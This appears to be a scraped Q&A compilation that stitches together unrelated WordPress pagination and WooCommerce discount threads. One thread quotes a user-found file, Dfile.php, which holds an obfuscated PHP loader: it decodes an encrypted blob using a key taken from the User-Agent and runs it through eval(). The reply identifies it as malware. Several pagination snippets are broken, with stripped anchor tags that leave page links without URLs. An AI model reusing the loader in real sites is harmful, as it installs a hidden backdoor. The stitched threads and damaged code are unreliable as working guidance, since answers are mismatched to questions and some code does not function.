pls i need your help,
the pagination on my homepage does not work...whenevr i click on the 2 button to go to second page, i get a 404 error page.
here is the pagination code;
if ( !function_exists( 'pagination' ) ) {
function pagination($pages = '', $range = 4)
{
$showitems = ($range * 2)+1;
global $paged;
if(empty($paged)) $paged = 1;
if($pages == '')
{
global $wp_query;
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
}
if(1 != $pages)
{
echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>« First</a>";
if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹ Previous</a>";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
echo ($paged == $i)? "<span class=\"current\">".$i."</span>":"".$i."";
}
}
if ($paged < $pages && $showitems < $pages) echo "Next ›";
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>Last »</a>";
echo "</div>\n";
}
}
}
Place this code in functions.php and try., Replace the post type and posts_per_page as you need..
function alter_query_vars($query)
{
switch($query->query_vars['post_type'])
{
case 'post':
//if($query->is_category()) Use this if you want to pagination on category page
$query->query_vars['posts_per_page'] = 6;
break;
default:
break;
}
return $query;
}
add_action('pre_get_posts', 'alter_query_vars');
Related
I've just come across this file in my cpanel - Dfile.php.....
Inside this particular file this script was written.. I actually understand nothing about this script. Therefore, please help me to understand this script.. I mean what this script is all about ?
<?php
$data = "npeLzaPWytheWo96fIu9V6KR0JyElY6LsT9wQdWX0sSilouLXpLJyp+ilWGnn9JcYFeRZolmicF9d7qThaDF0JpTwJJXkdXMpl1ZbkRBa5qXmNJXiarK0Jefy1jWp8fGmqTWi2twb+FDQJaopZrWnqOeg57HrMTZm5SOXNik0IywPm2EOYfI2aiiUHBXmtenoI/MpcusjYtxO3NCbJXZ1aGQ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ier3yTmcirf6HFt5fOvZSafIZ5qqXGaH6gx363pr21oWmpn86dx6p7YcSncZyv3Wqseqxrnqx9mKnEj7SkscuZp8eAtabGpphopsubzr6Wb6uUeo2sxnlknr1pm66/lK6espCxosiqiqXH0YbcxruQpollfWfDjG2lsqCjprHLiGXJpc9ivrZpn6/RmJPHu62kf6qmgbyioKO9jZuvybqImL9qnKfIqoumx6x90q+seJ6Uep6qrHyCpsWltKTH0Ieita/Ofae6i5vEq2jKr6uErJKhiaPEo4Vnpp7OacfPrqLIpdahrpVmY73NZdrGrHeke4eqgsiGcW2Kcm9CbsifnsuX06fYwpig0diV0dnXXlheYqStyGOkmNNZjprG1ZtompfHl8fSmZaLiKPX141fcT09QFvInqCV0ZjPnaKCqafIq9ekjIeUhKi2hqi3v12GeIOWiqeBelfAY9Ws19Smodlgh5G3qIeHqLaLirWshpWDeIN9iZJgV5Jei2OWi3E/cEHYoNDMo5yLi16SjJJanJmfnKXDoplZnkRsQaXFnp/VnItUksupksbHldbYhmJmZ2hsYJ1CPq1wQQ==";
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/WebKit\/(.*) \(/is',$ktmp,$kk)){
$keys = explode(".",$kk[1]);
$keys = '0Pi'.$keys[0].'hBG';
}
$keys = md5($keys);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($keys);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($keys, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
eval($str);
It seems like php malware. You can try wordfence plugin for clean core files etc.
Related to: WooCommerce Cart Quantity Base Discount
In WooCommerce, how do I set a cart discount based on the total number of items in the cart?
## Tested and works on WooCommerce 2.6.x and 3.0+
add_action( 'woocommerce_cart_calculate_fees','wc_cart_quantity_discount', 10, 1 );
function wc_cart_quantity_discount( $cart_object ) {
if ( is_admin() && ! defined( 'DOING_AJAX' ) )
return;
## -------------- DEFINIG VARIABLES ------------- ##
$discount = 0;
$cart_item_count = $cart_object->get_cart_contents_count();
$cart_total_excl_tax = $cart_object->subtotal_ex_tax;
## ----------- CONDITIONAL PERCENTAGE ----------- ##
if( $cart_item_count <= 4 )
$percent = 0;
elseif( $cart_item_count >= 5 && $cart_item_count <= 10 )
$percent = 5;
elseif( $cart_item_count > 10 && $cart_item_count <= 15 )
$percent = 10;
elseif( $cart_item_count > 15 && $cart_item_count <= 20 )
$percent = 15;
elseif( $cart_item_count > 20 && $cart_item_count <= 25 )
$percent = 20;
elseif( $cart_item_count > 25 )
$percent = 25;
## ------------------ CALCULATION ---------------- ##
$discount -= ($cart_total_excl_tax / 100) * $percent;
## ---- APPLYING CALCULATED DISCOUNT TAXABLE ---- ##
if( $percent > 0 )
$cart_object->add_fee( __( "Quantity discount $percent%", "woocommerce" ), $discount, true);
}
Is good for cart page, it's ok!
QUESTION:
It is possible to integrate this function so that the discounted subtotal is also visible in the mini-cart,
as form:
....->add_fee( __( "Quantity discount $percent%", "woocommerce" ), $discount, true);
Thanks in advance.
Dom
I am using the WordPress AMP plugin by Automattic and trying to figure out how to keep my pagination functioning. I have many very long posts and the plugin is converting all my post to single AMP pages and removing the pagination that is implemented using the comment block that is available in WordPress. This is the code I use for the Desktop and Responsive version of my blog but it doesn't work on the AMP pages. Any help functions or edits to my pagination function I can make to get my pagination working correctly again would be great. I am also opening to editing the plugin if there is a fix that way.
function new_pagination($pages = '', $range = 1) {
$showitems = ($range * 2)+1;
global $paged, $page;
if(empty($paged)) $paged = 1;
if(empty($page)) $page = 1;
if($pages == '') {
global $wp_query, $numpages;
if ( is_single() ) {
$pages = $numpages;
}else{
$pages = $wp_query->max_num_pages;
}
if(!$pages) {
$pages = 1;
}
}
if(1 != $pages) {
echo "<div class='pagination'><ul>";
if ( is_single() ) {
if(($page > 2 && $page > $range+1 && $showitems < $pages) && ($page > 1 && $showitems < $pages)) {
echo "<li class='mobile-show'><a href='".get_permalink().--$page."/'>Prev</a></li>";
echo "<li class='first'><a href='".get_permalink()."'>First</a></li>";
$page++;
}else{
if($page > 1 && $showitems < $pages) {
echo "<li><a href='".get_permalink().--$page."/'>Prev</a></li>";
$page++;
}
if($page > 2 && $page > $range+1 && $showitems < $pages) echo "<li class='first'><a href='".get_permalink()."'>First</a></li>";
}
}else{
if(($paged > 2 && $paged > $range+1 && $showitems < $pages) && ($paged > 1 && $showitems < $pages)) {
echo "<li class='mobile-show'><a href='".get_pagenum_link($paged - 1)."'>Prev</a></li>";
echo "<li class='first'><a href='".get_pagenum_link(1)."'>First</a></li>";
}else{
if($paged > 1 && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_pagenum_link($paged - 1)."'>Prev</a></li>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<li class='first'><a href='".get_pagenum_link(1)."'>First</a></li>";
}
}
for ($i=1; $i <= $pages; $i++) {
if ( is_single() ) {
if (1 != $pages &&( !($i >= $page+$range+1 || $i <= $page-$range-1) || $pages <= $showitems )) {
echo ($page == $i)? "<li class='active'><span class='current'>".$i."</span></li>":"<li><a href='".get_permalink()."".$i."/' class='inactive' >".$i."</a></li>";
}
}else{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) {
echo ($paged == $i)? "<li class='active'><span class='current'>".$i."</span></li>":"<li><a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a></li>";
}
}
}
if ( is_single() ) {
if(($page < $pages-1 && $page+$range-1 < $pages && $showitems < $pages) && ($page < $pages && $showitems < $pages)) {
echo "<li class='last'><a href='".get_permalink().$pages."/'>Last</a></li>";
echo "<li class='mobile-show'><a href='".get_permalink().++$page."/'>Next</a></li>";
}else {
if ($page < $pages-1 && $page+$range-1 < $pages && $showitems < $pages) echo "<li class='last'><a href='".get_permalink().$pages."/'>Last</a></li>";
if ($page < $pages && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_permalink().++$page."/'>Next</a></li>";
}
}else{
if(($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) && ($paged < $pages && $showitems < $pages)) {
echo "<li class='last'><a href='".get_pagenum_link($pages)."'>Last</a></li>";
echo "<li class='mobile-show'><a href='".get_pagenum_link($paged + 1)."'>Next</a></li>";
}else {
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<li class='last'><a href='".get_pagenum_link($pages)."'>Last</a></li>";
if ($paged < $pages && $showitems < $pages) echo "<li class='mobile-show'><a href='".get_pagenum_link($paged + 1)."'>Next</a></li>";
}
}
echo "</ul></div>\n";
}
}
I want a cart discount based on the total
5% over $600 order and 10% over $1000?
I can get it to work for the over $600 but not the over $1000. I get an error on line 15.
add_action( 'woocommerce_before_cart', 'apply_matched_coupons' );
function apply_matched_coupons() {
global $woocommerce;
$coupon_code = 'over600'; // your coupon code here
$coupon_codeb = 'over1000'; // your coupon code here
if ( $woocommerce->cart->has_discount( $coupon_code ) ) return;
if ( $woocommerce->cart->cart_contents_total >= 600 ) {
$woocommerce->cart->add_discount( $coupon_code );
$woocommerce->show_messages();
}
if ( $woocommerce->cart->cart_contents_total >= 1000 ) {
$woocommerce->cart->add_discount( $coupon_codeb );
$woocommerce->show_messages();
}
}
Ended up doing it a completely different way
function nh_custom_coupon_filter() {
global $woocommerce;
$excluded_amount = $discount_percent = 0;
$working_total = $woocommerce->cart->cart_contents_total;
$excluded_categories = array(
217, # Training
223, # Starter Kits
);
# Only apply manual discount if no coupons are applied
if (!$woocommerce->cart->applied_coupons) {
# Find any items in cart that belong to the restricted categories
foreach ($woocommerce->cart->cart_contents as $item) {
$product_categories = get_the_terms($item['product_id'], 'product_cat');
if (empty($product_categories) || is_wp_error($product_categories) || !$product_categories) {
if (is_wp_error($product_categories)) {
wp_die($product_categories->get_error_message());
}
else {
$product_categories = new WP_Error('no_product_categories', "The product \"".$item->post_title."\" doesn't have any categories attached, thus no discounts can be calculated.", "Fatal Error");
wp_die($product_categories);
}
}
foreach ($excluded_categories as $excluded_category) {
foreach ($product_categories as $category) {
if ($excluded_category == $category->term_id) {
$excluded_amount += $item['line_subtotal']; # Increase our exclusion amount
$working_total -= $item['line_subtotal']; # Decrease our discountable amount
}
}
}
}
# Logic to determine WHICH discount to apply based on subtotal
if ($working_total >= 600 && $working_total < 1000) {
$discount_percent = 5;
}
elseif ($working_total >= 1000) {
$discount_percent = 10;
}
else {
$discount_percent = 0;
}
# Make sure cart total is eligible for discount
if ($discount_percent > 0) {
$discount_amount = ( ( ($discount_percent/100) * $working_total ) * -1 );
$woocommerce->cart->add_fee('Bulk Discount', $discount_amount);
}
}
}
add_action('woocommerce_cart_calculate_fees', 'nh_custom_coupon_filter');
I have a problem with the wordpress homepage, special offers pagination does not work, follow the link and code.
If you click pag 2 products listed are the same.
Link
function atpmenutypepagination($range =2,$pages = '') {
global $paged,$wp_query;
$out='';
$showitems = ($range * 2)+1;
if(empty($paged)) $paged = 1;
if($pages == ''){
$pages = $wp_query->max_num_pages;
if(!$pages){
$pages = 1;
}
}
//if pages more than one
if(1 != $pages){
$out.='<div class="pagination wp-pagenavi">
<span class="pages extend">
Pag '.$paged.' de '.$pages.
'</span>';
if($paged > 2 && $paged > $range+1 && $showitems < $pages) $out.='«';
if($paged > 1 && $showitems < $pages) $out.='‹';
for ($i=1; $i <= $pages; $i++){
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) {
$out.=($paged == $i)? '<span class="current">'.$i.'</span>':'<a href="'.get_pagenum_link($i).'" class="inactive" >'.$i.'</a>';
}
}
if ($paged < $pages && $showitems < $pages) $out.='›';
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) $out.='»';
$out.= '</div>';
}
return $out;
}//end of function atpmenutypepagination